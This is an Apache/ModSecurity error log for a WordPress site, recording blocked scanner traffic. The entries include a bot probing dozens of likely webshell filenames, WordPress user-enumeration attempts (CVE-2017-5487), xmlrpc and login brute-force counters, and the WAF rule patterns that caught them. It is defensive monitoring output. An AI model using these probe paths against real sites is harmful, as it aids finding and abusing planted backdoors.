[Sat Apr 11 14:11:47.380766 2026] [:error] [pid 11067:tid 11080] [client 157.15.40.61:57970] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "adnmI8W3w7N67R04YCKSTgAAAEs"]
[Sat Apr 11 14:11:48.066278 2026] [:error] [pid 2187:tid 2237] [client 157.15.40.61:58215] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adnmJA4J29_qQi0FkjiIwQAAAAk"]
[Sat Apr 11 14:11:49.289274 2026] [:error] [pid 11067:tid 11082] [client 157.15.40.61:58446] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "adnmJcW3w7N67R04YCKSoQAAAE0"]
[Sat Apr 11 14:11:49.544940 2026] [:error] [pid 2297:tid 2307] [client 157.15.40.61:58485] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adnmJbXJS-Jji11jZk3a6gAAAQY"]
[Sat Apr 11 14:11:49.806321 2026] [:error] [pid 2297:tid 2320] [client 157.15.40.61:58539] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adnmJbXJS-Jji11jZk3a8AAAARM"]
[Sat Apr 11 14:11:50.068509 2026] [:error] [pid 2297:tid 2309] [client 157.15.40.61:58615] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "adnmJrXJS-Jji11jZk3bIQAAAQg"]
[Sat Apr 11 14:11:53.295014 2026] [:error] [pid 2186:tid 2203] [client 157.15.40.61:58892] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "adnmKcibnOEEvcO8wPL-WgAAAI0"]
[Sat Apr 11 14:11:55.698836 2026] [:error] [pid 11067:tid 11086] [client 157.15.40.61:59356] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "adnmK8W3w7N67R04YCKUagAAAFE"]
[Sat Apr 11 14:11:57.133770 2026] [:error] [pid 2186:tid 2213] [client 157.15.40.61:60100] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "adnmLcibnOEEvcO8wPL-0wAAAJY"]
[Sat Apr 11 14:11:57.406939 2026] [:error] [pid 11067:tid 11093] [client 157.15.40.61:60162] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "adnmLcW3w7N67R04YCKVMgAAAFg"]
[Sat Apr 11 14:11:57.663561 2026] [:error] [pid 2186:tid 2206] [client 157.15.40.61:60240] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "adnmLcibnOEEvcO8wPL-7wAAAJA"]
[Sat Apr 11 14:12:01.154513 2026] [:error] [pid 2186:tid 2209] [client 157.15.40.61:60614] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adnmMcibnOEEvcO8wPL_MgAAAJM"]
[Sat Apr 11 14:12:02.342464 2026] [:error] [pid 2297:tid 2323] [client 157.15.40.61:61267] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "adnmMrXJS-Jji11jZk3cXQAAARY"]
[Sat Apr 11 14:12:03.537128 2026] [:error] [pid 2297:tid 2303] [client 157.15.40.61:61559] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adnmM7XJS-Jji11jZk3ccwAAAQI"]
[Sat Apr 11 14:12:03.793042 2026] [:error] [pid 11067:tid 11082] [client 157.15.40.61:61651] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zwso.php"] [unique_id "adnmM8W3w7N67R04YCKW0QAAAE0"]
[Sat Apr 11 14:12:07.572006 2026] [:error] [pid 2186:tid 2197] [client 157.15.40.61:49860] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "adnmN8ibnOEEvcO8wPL_cAAAAIc"]
[Sat Apr 11 14:12:08.628567 2026] [:error] [pid 2188:tid 2263] [client 157.15.40.61:50061] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adnmOIDhDA-Xtn2nRScMZQAAAMc"]
[Sat Apr 11 14:12:16.696280 2026] [:error] [pid 11067:tid 11090] [client 157.15.40.61:51286] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "adnmQMW3w7N67R04YCKXpAAAAFU"]
[Sat Apr 11 14:12:17.969070 2026] [:error] [pid 11067:tid 11075] [client 157.15.40.61:51324] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/133.php"] [unique_id "adnmQcW3w7N67R04YCKXuAAAAEY"]
[Sat Apr 11 14:12:22.402650 2026] [:error] [pid 2186:tid 2191] [client 157.15.40.61:51637] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "adnmRsibnOEEvcO8wPL_3AAAAIE"]
[Sat Apr 11 14:12:26.680510 2026] [:error] [pid 2187:tid 2252] [client 157.15.40.61:52352] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "adnmSg4J29_qQi0FkjiKkQAAABg"]
[Sat Apr 11 14:12:31.985624 2026] [:error] [pid 11067:tid 11070] [client 157.15.40.61:52514] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/lufix1.php"] [unique_id "adnmT8W3w7N67R04YCKYeQAAAEE"]
[Sat Apr 11 14:12:32.660421 2026] [:error] [pid 2186:tid 2200] [client 157.15.40.61:53237] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "adnmUMibnOEEvcO8wPIAFgAAAIo"]
[Sat Apr 11 14:12:33.991779 2026] [:error] [pid 2297:tid 2305] [client 157.15.40.61:53453] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/index.php"] [unique_id "adnmUbXJS-Jji11jZk3d4gAAAQQ"]
[Sat Apr 11 14:12:34.251543 2026] [:error] [pid 2297:tid 2309] [client 157.15.40.61:53491] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "adnmUrXJS-Jji11jZk3d5QAAAQg"]
[Sat Apr 11 14:12:34.532708 2026] [:error] [pid 11067:tid 11087] [client 157.15.40.61:53537] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "adnmUsW3w7N67R04YCKYjQAAAFI"]
[Sat Apr 11 14:12:43.011300 2026] [:error] [pid 2187:tid 2243] [client 157.15.40.61:54585] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adnmWw4J29_qQi0FkjiK_AAAAA8"]
[Sat Apr 11 14:12:43.286687 2026] [:error] [pid 2187:tid 2251] [client 157.15.40.61:54742] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adnmWw4J29_qQi0FkjiK_wAAABc"]
[Sat Apr 11 14:12:43.576017 2026] [:error] [pid 11067:tid 11079] [client 157.15.40.61:54797] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "adnmW8W3w7N67R04YCKY3wAAAEo"]
[Sat Apr 11 14:12:43.857585 2026] [:error] [pid 2297:tid 2305] [client 157.15.40.61:54829] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "adnmW7XJS-Jji11jZk3eMQAAAQQ"]
[Sat Apr 11 14:52:57.011825 2026] [:error] [pid 2297:tid 2309] [client 43.173.1.69:43866] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adnvybXJS-Jji11jZk3yfgAAAQg"]
[Sat Apr 11 15:56:06.065779 2026] [:error] [pid 2297:tid 2317] [client 91.51.79.207:64850] [client 91.51.79.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.51.79.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adn-lrXJS-Jji11jZk0O2QAAARA"]
[Sat Apr 11 15:56:08.509997 2026] [:error] [pid 2297:tid 2324] [client 91.51.79.207:63589] [client 91.51.79.207] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adn-mLXJS-Jji11jZk0O3QAAARc"]
[Sat Apr 11 15:56:16.776058 2026] [:error] [pid 2297:tid 2309] [client 91.51.79.207:63589] [client 91.51.79.207] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adn-oLXJS-Jji11jZk0O7gAAAQg"]
[Sat Apr 11 17:08:08.829253 2026] [:error] [pid 2297:tid 2318] [client 65.254.225.220:47342] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adoPeLXJS-Jji11jZk0pUAAAARE"]
[Sat Apr 11 17:08:10.652359 2026] [:error] [pid 2297:tid 2319] [client 65.254.225.220:47342] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adoPerXJS-Jji11jZk0pWwAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 20:17:14.382280 2026] [autoindex:error] [pid 18629:tid 18656] [client 178.128.105.125:52977] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 11 20:17:17.432463 2026] [:error] [pid 18629:tid 18641] [client 178.128.105.125:51285] [client 178.128.105.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.105.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ado7zWW1jXPD9CXRfNRNAwAAAUo"]
[Sat Apr 11 20:53:58.893168 2026] [:error] [pid 65248:tid 65268] [client 43.135.211.148:42476] [client 43.135.211.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adpEZjI-iGHcq-8gSqoqgQAAABI"]
[Sat Apr 11 21:41:00.906495 2026] [:error] [pid 42219:tid 42226] [client 181.115.161.246:55275] [client 181.115.161.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.115.161.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adpPbA-4IkVbTQx_J-2BWgAAAIM"]
[Sat Apr 11 21:45:30.873519 2026] [:error] [pid 42313:tid 42337] [client 51.83.6.238:55460] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adpQel2P8TxdbaN018IyxwAAABU"]
[Sat Apr 11 21:45:32.900110 2026] [:error] [pid 42221:tid 42300] [client 51.83.6.238:45146] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adpQfE2gt0pb_0-cc6mJ5AAAAFY"]
[Sat Apr 11 21:45:34.865708 2026] [:error] [pid 42220:tid 42252] [client 51.83.6.238:45158] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adpQfkz5c3Cs6a8B5QuFSQAAAME"]
[Sat Apr 11 21:45:36.684631 2026] [:error] [pid 42220:tid 42257] [client 51.83.6.238:45160] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adpQgEz5c3Cs6a8B5QuFTAAAAMY"]
[Sat Apr 11 21:45:38.539578 2026] [:error] [pid 42219:tid 42245] [client 51.83.6.238:45162] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adpQgg-4IkVbTQx_J-2DBQAAAJY"]
[Sat Apr 11 21:45:40.355059 2026] [:error] [pid 42313:tid 42334] [client 51.83.6.238:39800] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adpQhF2P8TxdbaN018Iy4gAAABI"]
[Sat Apr 11 21:45:42.430080 2026] [:error] [pid 42219:tid 42225] [client 51.83.6.238:39810] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adpQhg-4IkVbTQx_J-2DFgAAAII"]
[Sat Apr 11 21:45:44.488606 2026] [:error] [pid 42220:tid 42257] [client 51.83.6.238:39814] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adpQiEz5c3Cs6a8B5QuFXAAAAMY"]
[Sat Apr 11 21:45:46.411409 2026] [:error] [pid 42221:tid 42289] [client 51.83.6.238:39824] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adpQik2gt0pb_0-cc6mJ-QAAAEs"]
[Sat Apr 11 21:45:48.310315 2026] [:error] [pid 42220:tid 42270] [client 51.83.6.238:39828] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "adpQjEz5c3Cs6a8B5QuFXwAAANM"]
[Sat Apr 11 21:45:50.217184 2026] [:error] [pid 42219:tid 42230] [client 51.83.6.238:45700] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "adpQjg-4IkVbTQx_J-2DKgAAAIc"]
[Sat Apr 11 21:45:52.149359 2026] [:error] [pid 42313:tid 42320] [client 51.83.6.238:45702] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "adpQkF2P8TxdbaN018Iy-gAAAAQ"]
[Sat Apr 11 21:45:54.039458 2026] [:error] [pid 42219:tid 42234] [client 51.83.6.238:45712] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "adpQkg-4IkVbTQx_J-2DNgAAAIs"]
[Sat Apr 11 21:45:55.947894 2026] [:error] [pid 42313:tid 42330] [client 51.83.6.238:45722] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "adpQk12P8TxdbaN018IzBgAAAA4"]
[Sat Apr 11 21:45:57.989821 2026] [:error] [pid 42313:tid 42337] [client 51.83.6.238:45730] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "adpQlV2P8TxdbaN018IzDAAAABU"]
